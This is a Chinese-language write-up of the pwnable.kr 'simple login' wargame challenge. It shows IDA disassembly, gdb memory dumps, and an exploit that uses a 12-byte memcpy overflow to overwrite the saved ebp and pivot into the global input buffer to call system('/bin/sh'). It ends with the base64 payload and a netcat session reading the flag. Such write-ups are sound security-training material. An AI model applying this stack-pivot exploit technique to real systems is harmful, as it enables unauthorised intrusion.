Writeup: pwnable.kr "simple login"
覆盖 ebp
gdb 无脑单步发现存在一个溢出,用 IDA 和 gdb 调试确定漏洞点在 auth 函数:
.text:0804929C push ebp
.text:0804929D mov ebp, esp
.text:0804929F sub esp, 28h
.text:080492A2 mov eax, [ebp+arg_0]
.text:080492A5 mov [esp+8], eax
.text:080492A9 mov dword ptr [esp+4], offset input
.text:080492B1 lea eax, [ebp+var_14]
.text:080492B4 add eax, 0Ch
.text:080492B7 mov [esp], eax
.text:080492BA call memcpy
在这里 lea eax, [ebp+var_14]
的时候,eax 存放的是 0xffffd844
,接着 add eax, 0Ch
,eax 存放的是 0xffffd850
。
gdb-peda$ x/10a 0xffffd850
0xffffd850: 0x89aa669 0x0 0xffffd8a8 0x8049407 <main+250>
其中在 0xffffd858
处储存的地址是 ebp 的地址 0xffffd8a8
,又因为我们最多可以传入 12 个字节,所以正好能覆盖掉 ebp。
控制 eip
在程序里存在 system 函数:
.text:0804925F push ebp
.text:08049260 mov ebp, esp
.text:08049262 sub esp, 28h
.text:08049265 mov [ebp+var_C], offset input
.text:0804926C mov eax, [ebp+var_C]
.text:0804926F mov eax, [eax]
.text:08049271 cmp eax, 0DEADBEEFh
.text:08049276 jnz short loc_8049290
.text:08049278 mov dword ptr [esp], offset aCongratulation ; "Congratulation! you are good!"
.text:0804927F call puts
.text:08049284 mov dword ptr [esp], offset aBinSh ; "/bin/sh"
.text:0804928B call system
所以只要能控制 eip 到 0x08049284
即可。
如果可以 leak 栈的地址,那么可以很容易的攻击成功,但是实际上程序中并没有可以泄露的地方。继续分析 .bss 段,发现存在一个全局变量 input:
gdb-peda$ p &input
$2 = (<data variable, no debug info> *) 0x811eb40
内容为我们传入的内容 base64 decode 后的内容:
gdb-peda$ x/10bx &input
0x811eb40 <input>: 0x69 0xa6 0x9a 0x00 0x00 0x00 0x00 0x00
0x811eb48 <input+8>: 0x00 0x00
所以我们可以把 ebp 覆盖为 input 的地址,然后 input 中存放调用 system 的地址,这样就可以直接控制 eip。
pwned
最终的 payload 为:
>>>> 'dead\x84\x92\x04\x08\x40\xeb\x11\x08'.encode('base64')
'ZGVhZISSBAhA6xEI\n'
攻击效果:
owo > ~ nc pwnable.kr 9003
Authenticate : ZGVhZISSBAhA6xEI
hash : 70de801a09052293c1e045f5fe4a0717
ls
flag
log
login
super.pl
cat flag
control EBP, control ESP, control EIP, control the world~